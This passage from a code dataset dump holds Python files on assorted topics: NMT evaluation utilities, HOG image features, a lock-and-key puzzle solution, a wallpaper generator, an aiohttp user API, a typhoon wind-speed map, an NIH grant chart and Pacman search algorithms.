batch_num = math.ceil(len(data) / batch_size)\n index_array = list(range(len(data)))\n\n if shuffle:\n np.random.shuffle(index_array)\n\n for i in range(batch_num):\n indices = index_array[i * batch_size: (i + 1) * batch_size]\n examples = [data[idx] for idx in indices]\n\n examples = sorted(examples, key=lambda e: len(e[0]), reverse=True)\n src_sents = [e[0] for e in examples]\n tgt_sents = [e[1] for e in examples]\n\n yield src_sents, tgt_sents\n\n\ndef beam_search(model, test_data_src, beam_size: int, max_ratio: int):\n was_training = model.training\n\n hypotheses = []\n for src_sent in tqdm(test_data_src, desc='Decoding', file=sys.stdout):\n example_hyps = model.beam_search(src_sent, beam_size=beam_size, max_ratio=max_ratio)\n\n hypotheses.append(example_hyps)\n\n return hypotheses\n\n\n# def decode(args: Dict[str, str]):\n# \"\"\"\n# performs decoding on a test set, and save the best-scoring decoding results. \n# If the target gold-standard sentences are given, the function also computes\n# corpus-level BLEU score.\n# \"\"\"\n# test_data_src = read_corpus(args['TEST_SOURCE_FILE'], source='src')\n# if args['TEST_TARGET_FILE']:\n# test_data_tgt = read_corpus(args['TEST_TARGET_FILE'], source='tgt')\n\n# print(f\"load model from {args['MODEL_PATH']}\", file=sys.stderr)\n# model = NMT.load(args['MODEL_PATH'])\n\n# hypotheses = beam_search(model, test_data_src,\n# beam_size=int(args['--beam-size']),\n# max_decoding_time_step=int(args['--max-decoding-time-step']))\n\n# if args['TEST_TARGET_FILE']:\n# top_hypotheses = [hyps[0] for hyps in hypotheses]\n# bleu_score = compute_corpus_level_bleu_score(test_data_tgt, top_hypotheses)\n# print(f'Corpus BLEU: {bleu_score}', file=sys.stderr)\n\n# with open(args['OUTPUT_FILE'], 'w') as f:\n# for src_sent, hyps in zip(test_data_src, hypotheses):\n# top_hyp = hyps[0]\n# hyp_sent = ' '.join(top_hyp.value)\n# f.write(hyp_sent + '\\n')\n\ndef compute_corpus_level_bleu_score(references, hypotheses) -> float:\n \"\"\"\n Given decoding results and reference sentences, compute corpus-level BLEU score\n\n Args:\n references: a list of gold-standard reference target sentences\n hypotheses: a list of hypotheses, one for each reference\n\n Returns:\n bleu_score: corpus-level BLEU score\n \"\"\"\n if references[0][0] == '':\n references = [ref[1:-1] for ref in references]\n\n bleu_score = corpus_bleu([[ref] for ref in references],\n [hyp for hyp in hypotheses])\n\n return bleu_score\n\n\ndef compute_bleu_for_sentences( refer, hypo ):\n references = []\n for r in refer:\n references.append( [ r ] )\n bleu_score = corpus_bleu( references, hypo )\n return bleu_score\n","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":4138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"495578232","text":"def extract_hog(img):\n \n import numpy as np\n from skimage.transform import resize\n from skimage.util import crop\n from skimage.util import view_as_windows, view_as_blocks\n \n imgh = 33\n cellh = 3\n blockh = 2\n nbins = 9\n max_theta = 180\n \n def normalize(v, eps=1e-5):\n \n ret = v / np.sqrt(np.sum(v ** 2, axis=1) + eps ** 2)[:, np.newaxis]\n \n return ret\n \n def build_cells(g_magn, theta):\n \n phi = max_theta // nbins\n \n cells_g_magn = view_as_blocks(g_magn, (cellh, cellh)).reshape((imgh // cellh) ** 2, cellh ** 2)\n cells_theta = view_as_blocks(theta, (cellh, cellh)).reshape((imgh // cellh) ** 2, cellh ** 2)\n cells_bin = np.zeros(((imgh // cellh) ** 2, nbins))\n \n idx = cells_theta // phi\n ratio = (cells_theta - idx * phi) / phi\n rr = np.arange(cells_bin.shape[0]).reshape(-1, 1)\n cells_bin[rr, idx] = cells_g_magn * (1 - ratio)\n idx += 1\n idx[idx == nbins] = 0\n cells_bin[rr, idx] += cells_g_magn * ratio\n \n return cells_bin.reshape(((imgh // cellh), (imgh // cellh), nbins))\n \n def build_blocks(cells):\n \n blocks = view_as_windows(cells, (blockh, blockh, nbins), (blockh // 2, blockh // 2, nbins))\n blocks = blocks.reshape(-1, blockh ** 2 * nbins)\n blocks = normalize(blocks)\n \n return blocks.ravel()\n \n def calc_gradient(img):\n \n gx = np.empty(img.shape, dtype=np.float32)\n gx[0, :, :] = 0\n gx[-1, :, :] = 0\n gx[1:-1, :] = img[2:, :, :] - img[:-2, :, :]\n \n gy = np.empty(img.shape, dtype=np.float32)\n gy[:, 0, :] = 0\n gy[:, -1, :] = 0\n gy[:, 1:-1, :] = img[:, 2:, :] - img[:, :-2, :]\n \n return gx, gy\n \n if img.dtype.kind == 'u':\n img = img.astype(np.float64)\n\n h, w = img.shape[:2]\n h = int(h * 0.2)\n w = int(w * 0.2)\n img = crop(img, ((h, h), (w, w), (0, 0)))\n img = resize(img, (imgh, imgh))\n \n gx, gy = calc_gradient(img)\n g_magn = np.hypot(gx, gy)\n g_chmax = g_magn.argmax(axis=2)\n \n rr = np.arange(imgh).reshape(-1, 1)\n \n gx = gx[rr, rr.T, g_chmax]\n gy = gy[rr, rr.T, g_chmax]\n g_magn = g_magn[rr, rr.T, g_chmax]\n \n theta = np.rad2deg(np.arctan2(gy, gx)).astype(np.int32) % max_theta\n \n return build_blocks(build_cells(g_magn, theta))\n \n \ndef fit_and_classify(train_x, train_y, test_x):\n \n from sklearn.svm import LinearSVC\n import numpy as np\n\n model = LinearSVC(C=0.01)\n model.fit(train_x, train_y)\n\n preds = model.predict(test_x)\n return preds\n","sub_path":"third/fit_and_classify.py","file_name":"fit_and_classify.py","file_ext":"py","file_size_in_byte":2673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"414314162","text":"# https://programmers.co.kr/learn/courses/30/lessons/60059\ndef solution(key, lock):\n k_len = len(key)\n l_len = len(lock)\n answer_key = lock.copy()\n for i in range(l_len):\n for j in range(l_len):\n if answer_key[i][j] == 1:\n answer_key[i][j] = 0\n elif answer_key[i][j] == 0:\n answer_key[i][j] = 1\n\n key_rotate_90 = rotate_90(key)\n key_rotate_180 = rotate_90(key_rotate_90)\n key_rotate_270 = rotate_90(key_rotate_180)\n key_rotate_list = [key, key_rotate_90, key_rotate_180, key_rotate_270]\n\n print(f'key : {key}')\n print(f'key 길이 : {k_len}')\n print(f'lock : {lock}')\n print(f'lock 길이 : {l_len}')\n print(f'정답 Key : {answer_key}')\n print('-------------------------------------------------------')\n print(f'원본 키 : {key}')\n print(f'90도 시계방향으로 회전한 키 : {key_rotate_90}')\n print(f'90도 시계방향으로 회전한 키 : {key_rotate_180}')\n print(f'90도 시계방향으로 회전한 키 : {key_rotate_270}')\n print('-------------------------------------------------------')\n\n\n for cur_key in key_rotate_list:\n for i in range(l_len * 2 - (l_len - k_len + 1)):\n cur_wide = get_wide(cur_key, k_len, l_len, i)\n for j in range(l_len * 2 - (l_len - k_len + 1)):\n if get_key(cur_wide, l_len) == answer_key:\n return True\n cur_wide = shift_to_right(cur_wide, l_len)\n return False\n\n\ndef rotate_90(m):\n N = len(m)\n ret = [[0] * N for _ in range(N)]\n for r in range(N):\n for c in range(N):\n ret[c][N - 1 - r] = m[r][c]\n return ret\n\n\ndef get_key(wide, length):\n result = []\n for i in range(length):\n result.append(wide[length + i][length:length * 2])\n return result\n\n\ndef get_wide(key, k_len, l_len, d):\n wide = [[0 for _ in range(l_len * 3)] for _ in range(l_len * 3)]\n for i in range(k_len):\n wide[1 + i + d + (l_len - k_len)][1 + (l_len - k_len):1 + (l_len - k_len) + k_len] = key[i]\n return wide\n\n\ndef shift_to_right(m, l_len):\n for j in range(l_len * 3):\n m[j] = [0] + m[j][:(l_len * 3 - 1)]\n # print(m)\n return m\n\n\nprint(solution([[0, 0, 0],\n [1, 0, 0],\n [0, 1, 1]],\n\n [[1, 1, 1],\n [1, 1, 0],\n [1, 0, 1]]))\n\n\n","sub_path":"구현/Q11 - 자물쇠와 열쇠 - IJS.py","file_name":"Q11 - 자물쇠와 열쇠 - IJS.py","file_ext":"py","file_size_in_byte":2386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"317854294","text":"#!/usr/bin/env python3\n\n# Author: wwong3\n# Date: 05-FEB-2019\n# Purpase: 04 Python homework, read the lines in a file via python\n\n\n# ---------------------------------\n\"\"\"cat_n.py\"\"\"\n\nimport os\nimport sys\n\n# ---------------------------------\n\nargs = sys.argv[1:]\n\n# Print error message if there are no arguments\nif len(args) != 1:\n\tprint('Usage: {} FILE'.format(os.path.basename(sys.argv[0])))\n\tsys.exit(1)\n\n# Print error message if the argument is not a file\nfile=args[0]\nif not os.path.isfile(file):\n\tprint('{} is not a file'.format(file))\n\tsys.exit(1)\n\n#-------------------------------------\n\ndef main():\n\t\n\tif len(args)==1:\n\t\tf=open(file)\n\t\tfor i, line in enumerate(f):\n\t\t\tprint('{:>3}: {}'.format(i+1, line), end='')\n\tsys.exit(0)\nmain()\n \n\n\n","sub_path":"assignments/04-python-bash/cat_n.py","file_name":"cat_n.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"138053475","text":"import ctypes\nimport win32api,win32con\nfrom PIL import Image\nfrom PIL import ImageDraw\nimport os\nimport random\n\ndef Rand_color():\n \"\"\"随机一些好看的颜色\n \"\"\"\n N = 12\n Color = [None]*N\n Color[0] = (189, 167, 146)\n Color[1] = (196, 86, 85)\n Color[2] = (174, 94, 83)\n Color[3] = (170, 177, 144)\n Color[4] = (207, 133, 60)\n Color[5] = (127, 156, 186)\n Color[6] = (161, 175, 201)\n Color[7] = (236, 247, 241)\n Color[8] = (242, 249, 242)\n Color[9] = (197, 215, 215)\n Color[10] = (40, 44, 52)\n Color[11] = (77, 114, 184)\n\n num = random.randint(0,N-1)\n return Color[num]\n\ndef Get_size():\n \"\"\"获取当前显示器分辨率\n \"\"\"\n size = [0,0]\n size[0] = win32api.GetSystemMetrics(win32con.SM_CXSCREEN)\n size[1] = win32api.GetSystemMetrics(win32con.SM_CYSCREEN)\n return size\n\ndef Gen_wallpaper(size, folderpath):\n \"\"\"\n \"\"\"\n img = Image.new(size=size, mode='RGB', color='white') # 设置图片大小和图片模式\n a = ImageDraw.ImageDraw(img)\n\n A1 = Rand_color()\n A2 = Rand_color()\n A3 = A1\n A4 = A2\n\n a.rectangle((0,0,size[0]/2,size[1]/2),fill=A1)\n a.rectangle((size[0]/2,0,size[0],size[1]/2),fill=A2)\n a.rectangle((0,size[1]/2,size[0]/2,size[1]),fill=A3)\n a.rectangle((size[0]/2,size[1]/2,size[0],size[1]),fill=A4)\n \n imagepath = folderpath + '\\\\wallpaper.bmp'\n img.save(imagepath)\n return imagepath\n\ndef set_wallpaper(imagepath):\n ctypes.windll.user32.SystemParametersInfoW(20, 0, imagepath, 0)\n return None\n\ndef makedir():\n \"\"\"创建目录\n \"\"\"\n StoreFolder = os.getcwd()\n folderpath = StoreFolder + \"\\\\Pictures\\\\\"\n if not os.path.exists(folderpath):\n os.makedirs(folderpath)\n return folderpath\n\nif __name__ == '__main__':\n folderpath = makedir()\n size = Get_size()\n imagePath = Gen_wallpaper(size, folderpath)\n set_wallpaper(imagePath)\n\n","sub_path":"rect_wallpaper.py","file_name":"rect_wallpaper.py","file_ext":"py","file_size_in_byte":1906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"267939460","text":"#!/user/bin/env python3\n\n#file name: getPublicIP.py\n# get host's public ip address\nimport re, urllib, urllib.request\nclass Getmyip:\n def getip(self):\n try:\n myip = self.visit(\"http://iframe.ip138.com/ic.asp\")\n except:\n try:\n myip = self.visit(\"http://www.whereismyip.com/\")\n except:\n myip = \"0.0.0.0\"\n return myip\n\n def visit(self, url):\n opener = urllib.request.urlopen(url)\n htmlContent = opener.read()\n #print(url)\n #print(opener.geturl())\n #print(htmlContent)\n if url == opener.geturl():\n content = htmlContent.decode('gb2312')\n #print(content)\n return re.search('\\d+\\.\\d+\\.\\d+\\.\\d+', content).group(0)\n\nif __name__ == '__main__':\n getmyip = Getmyip()\n localip = getmyip.getip()\n print(localip)\n","sub_path":"python/getPublicIP.py","file_name":"getPublicIP.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"294029983","text":"from django.shortcuts import render\nimport random\n\ndef popCategory(name):\n category = Category.objects.get_or_create(name=name)[0]\n category.views = random.randint(0, 20)\n category.likes = random.randint(0, 20)\n category.save()\n return category\n\ndef populate(request):\n # Python\n pythonCategory = popCategory('Python')\n popPage(category=pythonCategory,\n title='Official Python Tutorial',\n url='http://docs.python.org/2/tutorial/')\n popPage(category=pythonCategory,\n title='How to Think like a Computer Scientist',\n url='http://www.greenteapress.com/thinkpython/')\n popPage(category=pythonCategory,\n title='Learn Python in 10 Minutes',\n url='http://www.korokithakis.net/tutorials/python/')\n\n # Django\n djangoCategory = popCategory('Django')\n popPage(category=djangoCategory,\n title='Official Django Tutorial',\n\nurl='https://docs.djangoproject.com/en/1.5/intro/tutorial01/')\n popPage(category=djangoCategory,\n title='Django Rocks',\n url='http://www.djangorocks.com/')\n popPage(category=djangoCategory,\n title='How to Tango with Django',\n url='http://www.tangowithdjango.com/')\n\n # Other frameword\n frameCategory = popCategory('Other Frameworks')\n popPage(category=frameCategory,\n title='Bottle',\n url='http://bottlepy.org/docs/dev/')\n popPage(category=frameCategory,\n title='Flask',\n url='http://flask.pocoo.org')\n# Create your views here.\ndef rango(request):\n return render(request, 'rango/rango.html')\n\ndef about(request):\n return render(request, 'rango/about.html')\n","sub_path":"tangoVenv/src/rango/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"401772256","text":"from functools import partial\n\nfrom aiohttp.web import Application, run_app\nfrom aiohttp.web_exceptions import HTTPBadRequest\nfrom aiohttp.web_response import json_response\nfrom asyncpgsa import PG\nfrom configargparse import ArgumentParser\nfrom yarl import URL\n\nfrom staff.schema import users_table\n\n# ConfigArgParse allows to use env variables in addition to arguments.\n# E.g. you may configure your server using STAFF_HOST, STAFF_PORT, STAFF_DB_URL\n# env vars.\nparser = ArgumentParser(auto_env_var_prefix='STAFF_')\nparser.add_argument('--host', type=str, default='127.0.0.1',\n help='Host to listen')\nparser.add_argument('--port', type=int, default=8080,\n help='Port to listen')\nparser.add_argument(f'--db-url', type=URL,\n default=URL('postgresql://staff:hackme@0.0.0.0/staff'),\n help='URL to use to connect to the database')\n\n\nasync def init_pg(app, db_url):\n \"\"\"\n Init asyncpgsa driver (asyncpg + sqlalchemy)\n \"\"\"\n app['pg'] = PG()\n await app['pg'].init(db_url)\n\n\nasync def handle_get_users(request):\n \"\"\"\n Return existing users\n \"\"\"\n rows = await request.app['pg'].fetch(users_table.select())\n return json_response([dict(row) for row in rows])\n\n\nasync def handle_create_user(request):\n \"\"\"\n Create new user\n \"\"\"\n data = await request.json()\n if 'email' not in data:\n raise HTTPBadRequest()\n\n query = users_table.insert().values(\n email=data['email'],\n name=data.get('name'),\n surname=data.get('surname')\n ).returning(users_table)\n\n row = await request.app['pg'].fetchrow(query)\n return json_response(dict(row))\n\n\ndef main():\n \"\"\"\n Run application.\n Is called via command-line env/bin/staff-api, created by setup.py.\n \"\"\"\n args = parser.parse_args()\n\n app = Application()\n app.router.add_route('GET', '/users', handle_get_users)\n app.router.add_route('POST', '/users', handle_create_user)\n app.on_startup.append(\n partial(init_pg, db_url=str(args.db_url))\n )\n run_app(app, host=args.host, port=args.port)\n","sub_path":"staff/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"12835534","text":"# -*- coding: utf-8 -*-\nfrom clr import StrongBox\nfrom Autodesk.Revit.DB import BoundingBoxIntersectsFilter, FilteredElementCollector, Outline, FamilyInstance\nfrom Autodesk.Revit.DB import BooleanOperationsUtils, BooleanOperationsType, SetComparisonResult, IntersectionResultArray, BoundingBoxIsInsideFilter\nfrom Autodesk.Revit.DB import Line, SolidCurveIntersectionOptions, XYZ, CurveLoop, BuiltInCategory, ElementId\n\nfrom common_scripts import echo\nfrom System.Collections.Generic import List\n\n\nclass Precast_panel_json(object):\n @property\n def json(self):\n if not hasattr(self, \"_json\"):\n echo(self)\n echo(\"Состоит из:\")\n res_obj = [{\n \"point\": self.make_xyz(XYZ()),\n \"type\": \"Body\",\n \"solids\": []\n }]\n\n for key in self.plan.keys():\n obj = {\n \"layer\": key,\n \"cutting\": False,\n \"plan\": [self.make_xyz(i, nullable_z=True) for i in self.plan[key][\"points\"]],\n \"profile\": [self.make_xyz(i, nullable_x=True) for i in self.profile[key][\"points\"]],\n \"point\": self.make_xyz(XYZ(self.plan[key][\"point\"].X, self.plan[key][\"point\"].Y, self.profile[key][\"point\"].Z)),\n }\n res_obj[0][\"solids\"].append(obj)\n\n for i in self.holes:\n res_obj.append(i.define_json())\n # echo(self.mark_prefix_param)\n # self.facade_type_param = self.facade_type_param if self.facade_type_param else \"\"\n res_obj = {\n \"series\": self.series_param,\n \"markPrefix\": self.mark_prefix_param + self.facade_type_param,\n \"markSubPrefix\": self.mark_sub_prefix_param,\n \"constructionType\": self.construction_type_param,\n \"handle\": self.element.Id.IntegerValue,\n \"components\": {\n \"componentVals\": res_obj,\n \"componentRefs\": []\n },\n \"details\": []\n }\n\n for i in self.windows:\n echo(i, \"\", i.mesure)\n res_obj[\"components\"][\"componentRefs\"].append(i.define_json())\n\n for i in res_obj[\"components\"][\"componentVals\"]:\n i[\"solids\"].sort(key=lambda x: x['layer'])\n # sel = __revit__.ActiveUIDocument.Selection\n # els = List[ElementId]()\n for i in self.embedded_parts:\n # els.Add(i.element.Id)\n echo(i.tag, \" \", i.mesure, \" \", i.Id)\n res_obj[\"details\"].append(i.define_json())\n # sel.SetElementIds(els)\n self._json = res_obj\n echo(\" \")\n return self._json\n","sub_path":"Precast/Panel/Precast_panel_json.py","file_name":"Precast_panel_json.py","file_ext":"py","file_size_in_byte":2774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"386354182","text":"# -*- coding: utf-8 -*-\nimport numpy as np\nimport pandas as pd\nfrom mpl_toolkits.basemap import Basemap\nimport matplotlib.pyplot as plt\nfrom scipy.interpolate import griddata \n\n#图片\nplt.figure(figsize=(16,12))\nfig = plt.gcf()\nplt.rcParams['savefig.dpi'] = 1000 #像素\nplt.rcParams['figure.dpi'] = 1000 #分辨率\nax = fig.add_subplot(111)\n# 提取数据\n#inputFileName = r\"Vmax50a24.csv\"\n#figName = r\"Vmax50a24.png\"\n#inputFileName = r\"Vmax50a.csv\"\n#figName = r\"Vmax50a.png\"\n#inputFileName = r\"Vmax50a100m.csv\"\n#figName = r\"Vmax50a100m.png\"\n#inputFileName = r\"Vmax1a.csv\"\n#figName = r\"Vmax1a.png\"\ninputFileName = r\"Vmax1a100m.csv\"\nfigName = r\"Vmax1a100m.png\"\ndataset = pd.read_csv(inputFileName,header=None,sep=' ')\ndataset = np.array(dataset)\nm ,n = np.shape(dataset)\nlons = dataset[:,0]\nlats = dataset[:,1]\nvmax = dataset[:,2]\n#设置地图边界值\nminLon = int(np.min(lons)) - 2\nmaxLon = int(np.max(lons)) + 2\nminLat = int(np.min(lats)) - 2\nmaxLat = int(np.max(lats)) + 2\n\n#初始化地图\nm = Basemap(llcrnrlon=minLon,llcrnrlat=minLat,urcrnrlon=maxLon,urcrnrlat=maxLat,resolution='h')\nchn_shp = './GADM_Shapefile/gadm36_CHN_1'\ntwn_shp = './GADM_Shapefile/gadm36_TWN_1'\nhkg_shp = './GADM_Shapefile/gadm36_HKG_1'\nmac_shp = './GADM_Shapefile/gadm36_MAC_1'\nm.readshapefile(chn_shp,'chn',drawbounds=True)\nm.readshapefile(twn_shp,'twn',drawbounds=True)\nm.readshapefile(hkg_shp,'hkg',drawbounds=True)\nm.readshapefile(mac_shp,'mac',drawbounds=True)\nm.drawcoastlines(linewidth=0.3)\n\ndef set_lonlat(_m, lon_list, lat_list, lon_labels, lat_labels, lonlat_size):\n \"\"\"\n :param _m: Basemap实例\n :param lon_list: 经度 详见Basemap.drawmeridians函数>介绍\n :param lat_list: 纬度 同上\n :param lon_labels: 标注位置 [左, 右, 上, 下] bool值 默认只标注左上待完善 可使用twinx和twiny实现\n :param lat_labels: 同上\n :param lonlat_size: 字体大小\n :return:\n \"\"\"\n lon_dict = _m.drawmeridians(lon_list, labels=lon_labels, color='none', fontsize=lonlat_size)\n lat_dict = _m.drawparallels(lat_list, labels=lat_labels, color='none', fontsize=lonlat_size)\n lon_list = []\n lat_list = []\n for lon_key in lon_dict.keys():\n try:\n lon_list.append(lon_dict[lon_key][1][0].get_position()[0])\n except:\n continue\n\n for lat_key in lat_dict.keys():\n try:\n lat_list.append(lat_dict[lat_key][1][0].get_position()[1])\n except:\n continue\n ax = plt.gca()\n ax.xaxis.tick_top()\n ax.set_yticks(lat_list)\n ax.set_xticks(lon_list)\n ax.tick_params(labelcolor='none')\n\nparallels = np.arange(minLat,maxLon,2)\nmeridians = np.arange(minLon,maxLon,2)\nset_lonlat(m,meridians,parallels,[0,0,0,1], [1,0,0,0],15)\n\n\n# 将经纬度点转换为地图映射点\nm_lon, m_lat = m(*(lons, lats))\n\n# 生成经纬度的栅格数据\nnumcols, numrows = 500,500\nxi = np.linspace(m_lon.min(), m_lon.max(), numcols)\nyi = np.linspace(m_lat.min(), m_lat.max(), numrows)\nxi, yi = np.meshgrid(xi, yi)\n\n# 插值\n#vi = griddata((m_lon,m_lat),vmax,(xi,yi),method='cubic')\nvi = griddata((m_lon,m_lat),vmax,(xi,yi),method='linear')\n\n#m.drawmapboundary(fill_color = 'skyblue', zorder = 1)\ncon = m.contourf(xi, yi, vi,100,cmap='jet', zorder = 1)\nplt.plot(lons,lats,'k.',ms=10)\nposition=fig.add_axes([0.15, 0.05, 0.72, 0.04])#位置[左,下,右,上]\ncb = plt.colorbar(con,cax=position,orientation='horizontal')\ncb.ax.tick_params(labelsize=15)\n#cbTicks = range(15,25,1)\ncbTicks = range(21,33,1)\ncb.set_ticks(cbTicks)\nplt.show()\nfig.savefig(figName)\n\n\n\n","sub_path":"typhoonRiskV4p0/scripts_plot/plotVmaxReturnPeriod.py","file_name":"plotVmaxReturnPeriod.py","file_ext":"py","file_size_in_byte":3556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"286848498","text":"import pandas as pd\nimport numpy as np\nimport plotly.graph_objects as go\n\ndataset = pd.read_csv(\"NIH_data.csv\", error_bad_lines=False, encoding=\"ISO-8859–1\")\ndf = pd.DataFrame(dataset)\nadmins = list(set(df['Administering IC']))\ntop_admins = ['NCI', 'NIAID', 'NIGMS', 'NHLBI', 'NIDDK', 'NINDS', 'NIA', 'NIMH']\n\nfig = go.Figure()\n\nfor admin in top_admins:\n df_new = df[df['Administering IC'] == admin]\n\n fiscal_by_year = {\n 2011: [],\n 2012: [],\n 2013: [],\n 2014: [],\n 2015: [],\n 2016: [],\n 2017: [],\n 2018: [],\n 2019: [],\n 2020: [],\n 2021: []\n }\n\n for index, row in df_new.iterrows():\n if row['Total Cost'] != ' ':\n fiscal_by_year[row['Fiscal Year']].append(int(row['Total Cost'])) \n elif row['Total Cost (Sub Projects)'] != ' ':\n fiscal_by_year[row['Fiscal Year']].append(int(row['Total Cost (Sub Projects)'])) \n else:\n fiscal_by_year[row['Fiscal Year']].append(0)\n\n for key, value in fiscal_by_year.items():\n if len(value) != 0:\n avg = sum(value)/len(value)\n fiscal_by_year[key] = round(avg, 3)\n else:\n fiscal_by_year[key] = 0\n\n X = list(fiscal_by_year.keys())\n Y1 = list(fiscal_by_year.values())\n\n fig.add_trace(go.Bar(\n x=X,\n y=Y1,\n name=admin\n ))\n\n fig.update_layout(\n title=f\"Comparison of Average Grant Award Amount by Administering IC Over Time (Administering ICs with >800 Total Projects and Subprojects)\", \n legend=dict(orientation=\"h\", yanchor=\"bottom\", y=-0.2, xanchor=\"right\", x=1),\n xaxis = dict(tickmode = 'linear', tick0 = 0, dtick = 1, title={'text':'Year'}),\n xaxis_range=[2010,2021],\n yaxis = dict(tickmode = 'linear', tick0 = 0, dtick = 250000, title={'text':'Avg. Grant Awarded Amount Per Year'}),\n yaxis_range=[0,3500000],\n showlegend=True)\n\nfig.show()\n","sub_path":"nih_pyplot.py","file_name":"nih_pyplot.py","file_ext":"py","file_size_in_byte":1953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"640257782","text":"# search.py\n# ---------\n# Licensing Information: You are free to use or extend these projects for\n# educational purposes provided that (1) you do not distribute or publish\n# solutions, (2) you retain this notice, and (3) you provide clear\n# attribution to UC Berkeley, including a link to http://ai.berkeley.edu.\n# \n# Attribution Information: The Pacman AI projects were developed at UC Berkeley.\n# The core projects and autograders were primarily created by John DeNero\n# (denero@cs.berkeley.edu) and Dan Klein (klein@cs.berkeley.edu).\n# Student side autograding was added by Brad Miller, Nick Hay, and\n# Pieter Abbeel (pabbeel@cs.berkeley.edu).\n\n\n\"\"\"\nIn search.py, you will implement generic search algorithms which are called by\nPacman agents (in searchAgents.py).\n\"\"\"\n\nimport util\n\nclass SearchProblem:\n \"\"\"\n This class outlines the structure of a search problem, but doesn't implement\n any of the methods (in object-oriented terminology: an abstract class).\n\n You do not need to change anything in this class, ever.\n \"\"\"\n\n def getStartState(self):\n \"\"\"\n Returns the start state for the search problem.\n \"\"\"\n util.raiseNotDefined()\n\n def isGoalState(self, state):\n \"\"\"\n state: Search state\n\n Returns True if and only if the state is a valid goal state.\n \"\"\"\n util.raiseNotDefined()\n\n def getSuccessors(self, state):\n \"\"\"\n state: Search state\n\n For a given state, this should return a list of triples, (successor,\n action, stepCost), where 'successor' is a successor to the current\n state, 'action' is the action required to get there, and 'stepCost' is\n the incremental cost of expanding to that successor.\n \"\"\"\n util.raiseNotDefined()\n\n def getCostOfActions(self, actions):\n \"\"\"\n actions: A list of actions to take\n\n This method returns the total cost of a particular sequence of actions.\n The sequence must be composed of legal moves.\n \"\"\"\n util.raiseNotDefined()\n\n\ndef tinyMazeSearch(problem):\n \"\"\"\n Returns a sequence of moves that solves tinyMaze. For any other maze, the\n sequence of moves will be incorrect, so only use this for tinyMaze.\n \"\"\"\n from game import Directions\n s = Directions.SOUTH\n w = Directions.WEST\n return [s, s, w, s, w, w, s, w]\n\ndef depthFirstSearch(problem):\n \"\"\"\n Search the deepest nodes in the search tree first.\n\n Your search algorithm needs to return a list of actions that reaches the\n goal. Make sure to implement a graph search algorithm.\n\n To get started, you might want to try some of these simple commands to\n understand the search problem that is being passed in:\n\n print \"Start:\", problem.getStartState()\n print \"Is the start a goal?\", problem.isGoalState(problem.getStartState())\n print \"Start's successors:\", problem.getSuccessors(problem.getStartState())\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n\n visited = set()\n visited.add(problem.getStartState())\n\n stack = util.Stack()\n stack.push(problem.getStartState())\n \n # dictionary that holds list of actions to any given spot\n directions = {problem.getStartState(): []}\n\n while not stack.isEmpty():\n thisNode = stack.pop()\n visited.add(thisNode)\n tempAct = directions[thisNode]\n\n #return list of actions if \n if problem.isGoalState(thisNode):\n return directions[thisNode]\n\n #add each successor to queue, unless already visited\n for node in problem.getSuccessors(thisNode):\n if node[0] not in visited:\n stack.push(node[0])\n directions[node[0]] = tempAct + [node[1]]\n\n# Produce a backtrace of the actions taken to find the goal node, using the \n# recorded meta dictionary\ndef construct_path(state, meta):\n action_list = list()\n \n # Continue until you reach root meta data (i.e. (None, None))\n while meta[state][0] is not None:\n state, action, cost = meta[state]\n action_list.append(action)\n \n action_list.reverse()\n return action_list\n\ndef breadthFirstSearch(problem):\n \"\"\"Search the shallowest nodes in the search tree first.\"\"\"\n \"*** YOUR CODE HERE ***\"\n queue = util.Queue()\n queue_set = set() # a set representation of the queue, to check if something's in there\n\n visited = set()\n \n # a dictionary to maintain meta information (used for path formation)\n # key -> (parent state, action to reach child)\n meta = dict()\n\n # initialize\n root = problem.getStartState()\n meta[root] = (None, None, None)\n queue.push(root)\n queue_set.add(root)\n\n while not queue.isEmpty():\n subtree_root = queue.pop()\n queue_set.remove(subtree_root)\n\n if problem.isGoalState(subtree_root):\n #use metadata to construct path from start to goal\n return construct_path(subtree_root, meta)\n\n for (child, action, cost) in problem.getSuccessors(subtree_root):\n if child in visited:\n continue\n \n if child not in queue_set:\n meta[child] = (subtree_root, action, None) # create metadata for these nodes\n queue.push(child)\n queue_set.add(child)\n \n visited.add(subtree_root)\n\n\ndef uniformCostSearch(problem):\n \"\"\"Search the node of least total cost first.\"\"\"\n \"*** YOUR CODE HERE ***\"\n queue = util.PriorityQueue()\n queue_set = dict() # a set representation of the queue, to check if something's in there\n\n visited = set()\n \n # a dictionary to maintain meta information (used for path formation)\n # key -> (parent state, action to reach child, total cost to reach child)\n meta = dict()\n\n # initialize\n root = problem.getStartState()\n meta[root] = (None, None, 0)\n queue.push(root, 0)\n queue_set[root] = 0\n\n while not queue.isEmpty():\n subtree_root = queue.pop()\n queue_set.pop(subtree_root)\n\n if problem.isGoalState(subtree_root):\n #use metadata to construct path from start to goal\n return construct_path(subtree_root, meta)\n\n for (child, action, cost) in problem.getSuccessors(subtree_root):\n if child in visited:\n continue\n\n new_cost = meta[subtree_root][2] + cost\n if child not in queue_set:\n meta[child] = (subtree_root, action, new_cost) # create metadata for these nodes\n queue.push(child, new_cost)\n queue_set[child] = new_cost\n elif new_cost < queue_set[child]: # allows for updating nodes\n meta[child] = (subtree_root, action, new_cost)\n queue.update(child, 